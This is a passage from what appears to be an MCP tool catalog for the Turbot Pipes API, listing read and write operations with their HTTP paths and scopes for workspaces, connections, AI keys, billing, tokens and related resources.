Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_pipeline (read) — List user workspace pipelines via GET /user/{user_handle}/workspace/{workspace_handle}/pipeline. Lists the pipelines for a workspace of a user. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/pipeline. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_pipeline_by_pipeline_id (read) — Get user workspace pipeline via GET /user/{user_handle}/workspace/{workspace_handle}/pipeline/{pipeline_id}. Get the details of a pipeline for a workspace of a user. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/pipeline/{pipeline_id}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_process (read) — List user workspace processes via GET /user/{user_handle}/workspace/{workspace_handle}/process. List the process associated with a user workspace. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/process. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_process_by_process_id (read) — Get user workspace process via GET /user/{user_handle}/workspace/{workspace_handle}/process/{process_id}. Get the details for a user workspace process. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/process/{process_id}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_process_by_process_id_log_by_log_file_by_content_type (read) — List user workspace process logs via GET /user/{user_handle}/workspace/{workspace_handle}/process/{process_id}/log/{log_file}.{content_type}. List the process logs associated with a workspace process. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/process/{process_id}/log/{log_file}.{content_type}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_query (read) — Query user workspace via GET /user/{user_handle}/workspace/{workspace_handle}/query. Performs a query in a user workspace. Results are limited to 5000 rows or 30 seconds of query execution. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/query. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_query_data_by_extensions (read) — Query user workspace with extensions via GET /user/{user_handle}/workspace/{workspace_handle}/query/data.{extensions}. Performs a query in a user workspace, with content type and content encoding forming part of the API path. Results are limited to 5000 rows or 30 seconds of query execution. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/query/data.{extensions}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_schema (read) — List user workspace schemas via GET /user/{user_handle}/workspace/{workspace_handle}/schema. List the schemas for the user workspace. This will consist of the aggregators, datatanks and identity-level connections associated with the workspace. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/schema. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_schema_by_schema_name (read) — Get user workspace schema via GET /user/{user_handle}/workspace/{workspace_handle}/schema/{schema_name}. Get the details for a user workspace schema. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/schema/{schema_name}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_schema_by_schema_name_table (read) — List user workspace schema tables via GET /user/{user_handle}/workspace/{workspace_handle}/schema/{schema_name}/table. List the tables for a user workspace schema. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/schema/{schema_name}/table. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_schema_by_schema_name_table_by_table_name (read) — Get user workspace schema table via GET /user/{user_handle}/workspace/{workspace_handle}/schema/{schema_name}/table/{table_name}. Get details about a specific table in a user workspace schema. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/schema/{schema_name}/table/{table_name}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_snapshot (read) — List user workspace snapshots via GET /user/{user_handle}/workspace/{workspace_handle}/snapshot. List the workspace snapshots for a user. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/snapshot. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_snapshot_by_snapshot_id (read) — Get user workspace snapshot via GET /user/{user_handle}/workspace/{workspace_handle}/snapshot/{snapshot_id}. Get the details for a user workspace snapshot. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/snapshot/{snapshot_id}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_snapshot_by_snapshot_id_by_content_type (read) — Download user workspace snapshot via GET /user/{user_handle}/workspace/{workspace_handle}/snapshot/{snapshot_id}.{content_type}. Downloads the full data for a user workspace snapshot. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/snapshot/{snapshot_id}.{content_type}. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_trigger (read) — List user workspace triggers via GET /user/{user_handle}/workspace/{workspace_handle}/trigger. Lists the triggers for a user workspace. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/trigger. Scopes: api. turbotpipes_get_user_by_user_handle_workspace_by_workspace_handle_usage (read) — List user workspace usage via GET /user/{user_handle}/workspace/{workspace_handle}/usage. List the usage associated with a user workspace. GET /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/usage. Scopes: api. turbotpipes_patch_ai_key_by_provider (write) — Update tenant AI key via PATCH /ai/key/{provider}. Updates an existing AI provider API key at the tenant level. PATCH /api/v1/turbotpipes/ai/key/{provider}. Scopes: api. turbotpipes_patch_connection_by_connection_handle (write) — Update tenant connection via PATCH /connection/{connection_handle}. Update the details of a connection belonging to a tenant. PATCH /api/v1/turbotpipes/connection/{connection_handle}. Scopes: api. turbotpipes_patch_connection_by_connection_handle_permission_by_permission_id (write) — Update tenant connection permission via PATCH /connection/{connection_handle}/permission/{permission_id}. Update permission for a connection defined on a custom tenant. PATCH /api/v1/turbotpipes/connection/{connection_handle}/permission/{permission_id}. Scopes: api. turbotpipes_patch_connection_folder_by_folder_id (write) — Update tenant connection folder via PATCH /connection_folder/{folder_id}. Update the details of a connection folder belonging to a custom tenant. PATCH /api/v1/turbotpipes/connection_folder/{folder_id}. Scopes: api. turbotpipes_patch_connection_folder_by_folder_id_permission_by_permission_id (write) — Update tenant connection folder permission via PATCH /connection_folder/{folder_id}/permission/{permission_id}. Update permission for a connection folder defined on a custom tenant. PATCH /api/v1/turbotpipes/connection_folder/{folder_id}/permission/{permission_id}. Scopes: api. turbotpipes_patch_integration_by_integration_handle (write) — Update tenant integration via PATCH /integration/{integration_handle}. Update details of an integration configured on a custom tenant. PATCH /api/v1/turbotpipes/integration/{integration_handle}. Scopes: api. turbotpipes_patch_login_token_by_temporary_token_request_id (write) — Update temporary token request via PATCH /login/token/{temporary_token_request_id}. Update a temporary token request status. PATCH /api/v1/turbotpipes/login/token/{temporary_token_request_id}. Scopes: api. turbotpipes_patch_notifier_by_notifier_name (write) — Update tenant notifier via PATCH /notifier/{notifier_name}. Update a notifier for a custom tenant PATCH /api/v1/turbotpipes/notifier/{notifier_name}. Scopes: api. turbotpipes_patch_org_by_org_handle (write) — Update org via PATCH /org/{org_handle}. Updates the handle name, display name, or the URL of an organization. PATCH /api/v1/turbotpipes/org/{org_handle}. Scopes: api. turbotpipes_patch_org_by_org_handle_ai_key_by_provider (write) — Update org AI key via PATCH /org/{org_handle}/ai/key/{provider}. Updates an existing AI provider API key at the organization level. PATCH /api/v1/turbotpipes/org/{org_handle}/ai/key/{provider}. Scopes: api. turbotpipes_patch_org_by_org_handle_billing_payment_method_by_payment_method_id (write) — Update org billing payment method. via PATCH /org/{org_handle}/billing/payment_method/{payment_method_id} PATCH /api/v1/turbotpipes/org/{org_handle}/billing/payment_method/{payment_method_id}. Scopes: api. turbotpipes_patch_org_by_org_handle_billing_subscription_by_subscription_id (write) — Update org subscription. Use this API to "stop cancel at the next billing period" by passing "stopcancel" in the action parameter. via PATCH /org/{org_handle}/billing/subscription/{subscription_id} PATCH /api/v1/turbotpipes/org/{org_handle}/billing/subscription/{subscription_id}. Scopes: api. turbotpipes_patch_org_by_org_handle_connection_by_connection_handle (write) — Update org connection via PATCH /org/{org_handle}/connection/{connection_handle}. Update the details of a connection belonging to an org. PATCH /api/v1/turbotpipes/org/{org_handle}/connection/{connection_handle}. Scopes: api. turbotpipes_patch_org_by_org_handle_connection_by_connection_handle_permission_by_permission_id (write) — Update org connection permission via PATCH /org/{org_handle}/connection/{connection_handle}/permission/{permission_id}. Update permission for a connection defined on an org. PATCH /api/v1/turbotpipes/org/{org_handle}/connection/{connection_handle}/permission/{permission_id}. Scopes: api. turbotpipes_patch_org_by_org_handle_connection_folder_by_folder_id (write) — Update org connection folder via PATCH /org/{org_handle}/connection_folder/{folder_id}. Update the details of an org connection folder. PATCH /api/v1/turbotpipes/org/{org_handle}/connection_folder/{folder_id}. Scopes: api. turbotpipes_patch_org_by_org_handle_connection_folder_by_folder_id_permission_by_permission_id (write) — Update org connection folder permission via PATCH /org/{org_handle}/connection_folder/{folder_id}/permission/{permission_id}. Update permission for a connection folder defined on an org. PATCH /api/v1/turbotpipes/org/{org_handle}/connection_folder/{folder_id}/permission/{permission_id}. Scopes: api. turbotpipes_patch_org_by_org_handle_integration_by_integration_handle (write) — Update org integration via PATCH /org/{org_handle}/integration/{integration_handle}. Update details of an integration configured for an organization. PATCH /api/v1/turbotpipes/org/{org_handle}/integration/{integration_handle}. Scopes: api. turbotpipes_patch_org_by_org_handle_member_by_user_handle (write) — Update org member via PATCH /org/{org_handle}/member/{user_handle}. Update the role of the member. PATCH /api/v1/turbotpipes/org/{org_handle}/member/{user_handle}. Scopes: api. turbotpipes_patch_org_by_org_handle_notifier_by_notifier_name (write) — Update org notifier via PATCH /org/{org_handle}/notifier/{notifier_name}. Update a notifier for an org PATCH /api/v1/turbotpipes/org/{org_handle}/notifier/{notifier_name}. Scopes: api. turbotpipes_patch_org_by_org_handle_service_account_by_service_account_identifier (write) — Update an organization service account via PATCH /org/{org_handle}/service_account/{service_account_identifier}. Update an existing service account at the organization level. PATCH /api/v1/turbotpipes/org/{org_handle}/service_account/{service_account_identifier}. Scopes: api. turbotpipes_patch_org_by_org_handle_service_account_by_service_account_identifier_token_by_token_id (write) — Update an organization service account token via PATCH /org/{org_handle}/service_account/{service_account_identifier}/token/{token_id}. Update an existing token for an organization-level service account. PATCH /api/v1/turbotpipes/org/{org_handle}/service_account/{service_account_identifier}/token/{token_id}. Scopes: api. turbotpipes_patch_org_by_org_handle_workspace_by_workspace_handle (write) — Update org workspace via PATCH /org/{org_handle}/workspace/{workspace_handle}. Update a workspace in an organization. PATCH /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}. Scopes: api. turbotpipes_patch_org_by_org_handle_workspace_by_workspace_handle_aggregator_by_aggregator_handle (write) — Update an aggregator for a org workspace via PATCH /org/{org_handle}/workspace/{workspace_handle}/aggregator/{aggregator_handle}. Update the details of an aggregator belonging to a workspace of an org. PATCH /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/aggregator/{aggregator_handle}. Scopes: api. turbotpipes_patch_org_by_org_handle_workspace_by_workspace_handle_ai_conversation_by_conversation_id (write) — Update org workspace conversation via PATCH /org/{org_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}. Updates an org workspace conversation (e.g., title). PATCH /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}. Scopes: api. turbotpipes_patch_org_by_org_handle_workspace_by_workspace_handle_connection_by_connection_handle (write) — Update org workspace connection via PATCH /org/{org_handle}/workspace/{workspace_handle}/connection/{connection_handle}. Update the details of a connection belonging to a workspace of an org. PATCH /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/connection/{connection_handle}. Scopes: api. turbotpipes_patch_org_by_org_handle_workspace_by_workspace_handle_connection_folder_by_folder_id (write) — Update org workspace connection folder via PATCH /org/{org_handle}/workspace/{workspace_handle}/connection_folder/{folder_id}. Update the details of a connection folder belonging to an org workspace. PATCH /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/connection_folder/{folder_id}. Scopes: api. turbotpipes_patch_org_by_org_handle_workspace_by_workspace_handle_datatank_by_datatank_handle (write) — Update org workspace Datatank via PATCH /org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}. Update the org workspace Datatank. PATCH /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}. Scopes: api. turbotpipes_patch_org_by_org_handle_workspace_by_workspace_handle_datatank_by_datatank_handle_table_by_datatank_table_name (write) — Update org workspace Datatank table via PATCH /org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}. Update the org workspace Datatank table. PATCH /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}. Scopes: api. turbotpipes_patch_org_by_org_handle_workspace_by_workspace_handle_datatank_by_datatank_handle_table_by_datatank_table_name_part_by_datatank_part_id (write) — Update org workspace Datatank table partition via PATCH /org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}/part/{datatank_part_id}. Update the org workspace Datatank table partition. PATCH /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}/part/{datatank_part_id}. Scopes: api. turbotpipes_patch_org_by_org_handle_workspace_by_workspace_handle_flowpipe_mod_by_mod_alias (write) — Update a flowpipe mod in an organization workspace via PATCH /org/{org_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias} PATCH /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}. Scopes: api. turbotpipes_patch_org_by_org_handle_workspace_by_workspace_handle_flowpipe_mod_by_mod_alias_variable_by_variable_name (write) — Update setting for a flowpipe mod variable in an organization workspace via PATCH /org/{org_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}/variable/{variable_name} PATCH /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}/variable/{variable_name}. Scopes: api. turbotpipes_patch_org_by_org_handle_workspace_by_workspace_handle_flowpipe_trigger_by_trigger_name (write) — Update org workspace trigger via PATCH /org/{org_handle}/workspace/{workspace_handle}/flowpipe/trigger/{trigger_name}. Updates a trigger for a workspace of an org. PATCH /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/trigger/{trigger_name}. Scopes: api. turbotpipes_patch_org_by_org_handle_workspace_by_workspace_handle_member_by_user_handle (write) — Update Org Workspace Member via PATCH /org/{org_handle}/workspace/{workspace_handle}/member/{user_handle}. Update the role of a member belonging to a workspace of an organization. PATCH /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/member/{user_handle}. Scopes: api. turbotpipes_patch_org_by_org_handle_workspace_by_workspace_handle_mod_by_mod_alias (write) — Update a mod in an organization workspace via PATCH /org/{org_handle}/workspace/{workspace_handle}/mod/{mod_alias} PATCH /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/mod/{mod_alias}. Scopes: api. turbotpipes_patch_org_by_org_handle_workspace_by_workspace_handle_mod_by_mod_alias_variable_by_variable_name (write) — Update setting for a mod variable in an organization workspace via PATCH /org/{org_handle}/workspace/{workspace_handle}/mod/{mod_alias}/variable/{variable_name} PATCH /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/mod/{mod_alias}/variable/{variable_name}. Scopes: api. turbotpipes_patch_org_by_org_handle_workspace_by_workspace_handle_notifier_by_notifier_name (write) — Update org workspace notifier via PATCH /org/{org_handle}/workspace/{workspace_handle}/notifier/{notifier_name}. Update a notifier for an org workspace PATCH /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/notifier/{notifier_name}. Scopes: api. turbotpipes_patch_org_by_org_handle_workspace_by_workspace_handle_pipeline_by_pipeline_id (write) — Update org workspace pipeline via PATCH /org/{org_handle}/workspace/{workspace_handle}/pipeline/{pipeline_id}. Updates a pipeline for a workspace of an organization. PATCH /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/pipeline/{pipeline_id}. Scopes: api. turbotpipes_patch_org_by_org_handle_workspace_by_workspace_handle_snapshot_by_snapshot_id (write) — Update org workspace snapshot via PATCH /org/{org_handle}/workspace/{workspace_handle}/snapshot/{snapshot_id}. Updates an org workspace snapshot. PATCH /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/snapshot/{snapshot_id}. Scopes: api. turbotpipes_patch_service_account_by_service_account_identifier (write) — Update a tenant service account via PATCH /service_account/{service_account_identifier}. Update an existing service account at the tenant level. PATCH /api/v1/turbotpipes/service_account/{service_account_identifier}. Scopes: api. turbotpipes_patch_service_account_by_service_account_identifier_token_by_token_id (write) — Update a tenant service account token via PATCH /service_account/{service_account_identifier}/token/{token_id}. Update an existing token for a tenant-level service account. PATCH /api/v1/turbotpipes/service_account/{service_account_identifier}/token/{token_id}. Scopes: api. turbotpipes_patch_settings (write) — Update tenant settings via PATCH /settings. Update settings for a custom tenant. PATCH /api/v1/turbotpipes/settings. Scopes: api. turbotpipes_patch_tenant_by_tenant_handle (write) — Update tenant via PATCH /tenant/{tenant_handle}. Updates various information about a tenant. PATCH /api/v1/turbotpipes/tenant/{tenant_handle}. Scopes: api. turbotpipes_patch_tenant_by_tenant_handle_billing_payment_method_by_payment_method_id (write) — Update tenant billing payment method. via PATCH /tenant/{tenant_handle}/billing/payment_method/{payment_method_id} PATCH /api/v1/turbotpipes/tenant/{tenant_handle}/billing/payment_method/{payment_method_id}. Scopes: api. turbotpipes_patch_tenant_by_tenant_handle_billing_subscription_by_subscription_id (write) — Update tenant subscription. Use this API to "stop cancel at the next billing period" by passing "stopcancel" in the action parameter. via PATCH /tenant/{tenant_handle}/billing/subscription/{subscription_id} PATCH /api/v1/turbotpipes/tenant/{tenant_handle}/billing/subscription/{subscription_id}. Scopes: api. turbotpipes_patch_tenant_by_tenant_handle_member_by_user_handle (write) — Update tenant member via PATCH /tenant/{tenant_handle}/member/{user_handle}. Update the role of a member of a tenant. PATCH /api/v1/turbotpipes/tenant/{tenant_handle}/member/{user_handle}. Scopes: api. turbotpipes_patch_user_by_user_handle (write) — Update user via PATCH /user/{user_handle}. Updates the handle name, display name, or the URL of a user. PATCH /api/v1/turbotpipes/user/{user_handle}. Scopes: api. turbotpipes_patch_user_by_user_handle_ai_key_by_provider (write) — Update user AI key via PATCH /user/{user_handle}/ai/key/{provider}. Updates an existing AI provider API key at the user level. PATCH /api/v1/turbotpipes/user/{user_handle}/ai/key/{provider}. Scopes: api. turbotpipes_patch_user_by_user_handle_billing_payment_method_by_payment_method_id (write) — Update user billing payment method. via PATCH /user/{user_handle}/billing/payment_method/{payment_method_id} PATCH /api/v1/turbotpipes/user/{user_handle}/billing/payment_method/{payment_method_id}. Scopes: api. turbotpipes_patch_user_by_user_handle_connection_by_connection_handle (write) — Update user connection via PATCH /user/{user_handle}/connection/{connection_handle}. Update the details of a connection belonging to a user. PATCH /api/v1/turbotpipes/user/{user_handle}/connection/{connection_handle}. Scopes: api. turbotpipes_patch_user_by_user_handle_integration_by_integration_handle (write) — Update user integration via PATCH /user/{user_handle}/integration/{integration_handle}. Update details of an integration configured for a user. PATCH /api/v1/turbotpipes/user/{user_handle}/integration/{integration_handle}. Scopes: api. turbotpipes_patch_user_by_user_handle_notifier_by_notifier_name (write) — Update user notifier via PATCH /user/{user_handle}/notifier/{notifier_name}. Update a notifier for a user PATCH /api/v1/turbotpipes/user/{user_handle}/notifier/{notifier_name}. Scopes: api. turbotpipes_patch_user_by_user_handle_preferences (write) — Update user preferences via PATCH /user/{user_handle}/preferences. Update preferences for the user e.g. opting out of receiving certain kind of emails. PATCH /api/v1/turbotpipes/user/{user_handle}/preferences. Scopes: api. turbotpipes_patch_user_by_user_handle_token_by_token_id (write) — Update token via PATCH /user/{user_handle}/token/{token_id}. Changes the status of the specified token from Active to Inactive or vice versa. PATCH /api/v1/turbotpipes/user/{user_handle}/token/{token_id}. Scopes: api. turbotpipes_patch_user_by_user_handle_workspace_by_workspace_handle (write) — Update user workspace via PATCH /user/{user_handle}/workspace/{workspace_handle}. Update the workspace for a user. PATCH /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}. Scopes: api. turbotpipes_patch_user_by_user_handle_workspace_by_workspace_handle_aggregator_by_aggregator_handle (write) — Update an aggregator for a user workspace via PATCH /user/{user_handle}/workspace/{workspace_handle}/aggregator/{aggregator_handle}. Update the details of an aggregator belonging to workspace of a user. PATCH /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/aggregator/{aggregator_handle}. Scopes: api. turbotpipes_patch_user_by_user_handle_workspace_by_workspace_handle_ai_conversation_by_conversation_id (write) — Update user workspace conversation via PATCH /user/{user_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}. Updates a user workspace conversation (e.g., title). PATCH /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/ai/conversation/{conversation_id}. Scopes: api. turbotpipes_patch_user_by_user_handle_workspace_by_workspace_handle_connection_by_connection_handle (write) — Update user workspace connection via PATCH /user/{user_handle}/workspace/{workspace_handle}/connection/{connection_handle}. Update the details of a connection belonging to a workspace of a user. PATCH /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/connection/{connection_handle}. Scopes: api. turbotpipes_patch_user_by_user_handle_workspace_by_workspace_handle_connection_folder_by_folder_id (write) — Update user workspace connection folder via PATCH /user/{user_handle}/workspace/{workspace_handle}/connection_folder/{folder_id}. Update the details of a connection folder belonging to a user workspace. PATCH /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/connection_folder/{folder_id}. Scopes: api. turbotpipes_patch_user_by_user_handle_workspace_by_workspace_handle_datatank_by_datatank_handle (write) — Update user workspace Datatank via PATCH /user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}. Update the user workspace Datatank. PATCH /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}. Scopes: api. turbotpipes_patch_user_by_user_handle_workspace_by_workspace_handle_datatank_by_datatank_handle_table_by_datatank_table_name (write) — Update user workspace Datatank table via PATCH /user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}. Update the user workspace Datatank table. PATCH /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}. Scopes: api. turbotpipes_patch_user_by_user_handle_workspace_by_workspace_handle_datatank_by_datatank_handle_table_by_datatank_table_name_part_by_datatank_part_id (write) — Update user workspace Datatank table partition via PATCH /user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}/part/{datatank_part_id}. Update the user workspace Datatank table partition. PATCH /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}/part/{datatank_part_id}. Scopes: api. turbotpipes_patch_user_by_user_handle_workspace_by_workspace_handle_flowpipe_mod_by_mod_alias (write) — Update a flowpipe mod in a user's workspace via PATCH /user/{user_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias} PATCH /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}. Scopes: api. turbotpipes_patch_user_by_user_handle_workspace_by_workspace_handle_flowpipe_mod_by_mod_alias_variable_by_variable_name (write) — Update setting for a flowpipe mod variable in a user workspace via PATCH /user/{user_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}/variable/{variable_name} PATCH /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}/variable/{variable_name}. Scopes: api. turbotpipes_patch_user_by_user_handle_workspace_by_workspace_handle_flowpipe_trigger_by_trigger_name (write) — Update user workspace trigger via PATCH /user/{user_handle}/workspace/{workspace_handle}/flowpipe/trigger/{trigger_name}. Updates a trigger for a workspace of a user. PATCH /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/trigger/{trigger_name}. Scopes: api. turbotpipes_patch_user_by_user_handle_workspace_by_workspace_handle_mod_by_mod_alias (write) — Update a mod in a user's workspace via PATCH /user/{user_handle}/workspace/{workspace_handle}/mod/{mod_alias} PATCH /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/mod/{mod_alias}. Scopes: api. turbotpipes_patch_user_by_user_handle_workspace_by_workspace_handle_mod_by_mod_alias_variable_by_variable_name (write) — Update setting for a mod variable in a user workspace via PATCH /user/{user_handle}/workspace/{workspace_handle}/mod/{mod_alias}/variable/{variable_name} PATCH /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/mod/{mod_alias}/variable/{variable_name}. Scopes: api. turbotpipes_patch_user_by_user_handle_workspace_by_workspace_handle_notifier_by_notifier_name (write) — Update user workspace notifier via PATCH /user/{user_handle}/workspace/{workspace_handle}/notifier/{notifier_name}. Update a notifier for a user workspace PATCH /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/notifier/{notifier_name}. Scopes: api. turbotpipes_patch_user_by_user_handle_workspace_by_workspace_handle_pipeline_by_pipeline_id (write) — Update user workspace pipeline via PATCH /user/{user_handle}/workspace/{workspace_handle}/pipeline/{pipeline_id}. Updates a pipeline for a workspace of a user. PATCH /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/pipeline/{pipeline_id}. Scopes: api. turbotpipes_patch_user_by_user_handle_workspace_by_workspace_handle_snapshot_by_snapshot_id (write) — Update user workspace snapshot via PATCH /user/{user_handle}/workspace/{workspace_handle}/snapshot/{snapshot_id}. Updates a user workspace snapshot. PATCH /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/snapshot/{snapshot_id}. Scopes: api. turbotpipes_post_ai_key (write) — Create tenant AI key via POST /ai/key. Creates a new AI provider API key at the tenant level. POST /api/v1/turbotpipes/ai/key. Scopes: api. turbotpipes_post_ai_key_by_provider_test (write) — Test tenant AI key via POST /ai/key/{provider}/test. Tests whether an AI provider API key is valid at the tenant level. If a key is not provided in the body, the existing saved key for the provider will be tested. POST /api/v1/turbotpipes/ai/key/{provider}/test. Scopes: api. turbotpipes_post_auth_by_provider_callback (write) — Post auth provider callback via POST /auth/{provider}/callback. Auth provider callback. POST /api/v1/turbotpipes/auth/{provider}/callback. Scopes: api. turbotpipes_post_connection (write) — Create tenant connection via POST /connection. Creates a new connection for a custom tenant. POST /api/v1/turbotpipes/connection. Scopes: api. turbotpipes_post_connection_by_connection_handle_permission (write) — Create tenant connection permission via POST /connection/{connection_handle}/permission. Create permissions for a tenant connection. POST /api/v1/turbotpipes/connection/{connection_handle}/permission. Scopes: api. turbotpipes_post_connection_by_connection_handle_test (write) — Test tenant connection via POST /connection/{connection_handle}/test. Test the config for a tenant connection to check for basic connectivity. POST /api/v1/turbotpipes/connection/{connection_handle}/test. Scopes: api. turbotpipes_post_connection_folder (write) — Create tenant connection folder via POST /connection_folder. Creates a new connection folder for a custom tenant. POST /api/v1/turbotpipes/connection_folder. Scopes: api. turbotpipes_post_connection_folder_by_folder_id_permission (write) — Create tenant connection folder permission via POST /connection_folder/{folder_id}/permission. Create permissions for a connection folder defined on a custom tenant. POST /api/v1/turbotpipes/connection_folder/{folder_id}/permission. Scopes: api. turbotpipes_post_integration (write) — Create tenant integration via POST /integration. Creates a new integration on a custom tenant. POST /api/v1/turbotpipes/integration. Scopes: api. turbotpipes_post_integration_by_integration_handle_command (write) — Run tenant integration command via POST /integration/{integration_handle}/command. Run a command for a tenant integration POST /api/v1/turbotpipes/integration/{integration_handle}/command. Scopes: api. turbotpipes_post_integration_by_integration_handle_test (write) — Test custom tenant integration via POST /integration/{integration_handle}/test. Test the config for a custom tenant integration to check for basic connectivity before you create it. POST /api/v1/turbotpipes/integration/{integration_handle}/test. Scopes: api. turbotpipes_post_login (write) — User login. via POST /login POST /api/v1/turbotpipes/login. Scopes: api. turbotpipes_post_login_token (write) — Generate temporary token request via POST /login/token. Generate a temporary token request for CLI login. POST /api/v1/turbotpipes/login/token. Scopes: api. turbotpipes_post_notifier (write) — Create tenant notifier via POST /notifier. Create a new notifier for a custom tenant POST /api/v1/turbotpipes/notifier. Scopes: api. turbotpipes_post_org (write) — Create org via POST /org. Creates an organization. POST /api/v1/turbotpipes/org. Scopes: api. turbotpipes_post_org_by_org_handle_ai_key (write) — Create org AI key via POST /org/{org_handle}/ai/key. Creates a new AI provider API key at the organization level. POST /api/v1/turbotpipes/org/{org_handle}/ai/key. Scopes: api. turbotpipes_post_org_by_org_handle_ai_key_by_provider_test (write) — Test org AI key via POST /org/{org_handle}/ai/key/{provider}/test. Tests whether an AI provider API key is valid at the organization level. If a key is not provided in the body, the existing saved key for the provider will be tested. POST /api/v1/turbotpipes/org/{org_handle}/ai/key/{provider}/test. Scopes: api. turbotpipes_post_org_by_org_handle_avatar (write) — NOT CALLABLE: Turbot Pipes accepts this avatar only as a multipart/form-data file upload, and the operation declares no JSON alternative. No approved Agentic Fabriq artifact transport covers unbounded binary bytes, so there is nowhere for the image to travel that is not an MCP argument. Upload the avatar in the Turbot Pipes console instead. (Create org avatar via POST /org/{org_handle}/avatar. Create custom avatar for an org.) POST /api/v1/turbotpipes/org/{org_handle}/avatar. Scopes: api. turbotpipes_post_org_by_org_handle_billing_payment_method_intent (write) — Create Stripe billing intent via POST /org/{org_handle}/billing/payment_method/intent POST /api/v1/turbotpipes/org/{org_handle}/billing/payment_method/intent. Scopes: api. turbotpipes_post_org_by_org_handle_billing_subscription (write) — Create a new subscription for the org. There can only be 1 active subscription per org. via POST /org/{org_handle}/billing/subscription POST /api/v1/turbotpipes/org/{org_handle}/billing/subscription. Scopes: api. turbotpipes_post_org_by_org_handle_connection (write) — Create org connection via POST /org/{org_handle}/connection. Creates a 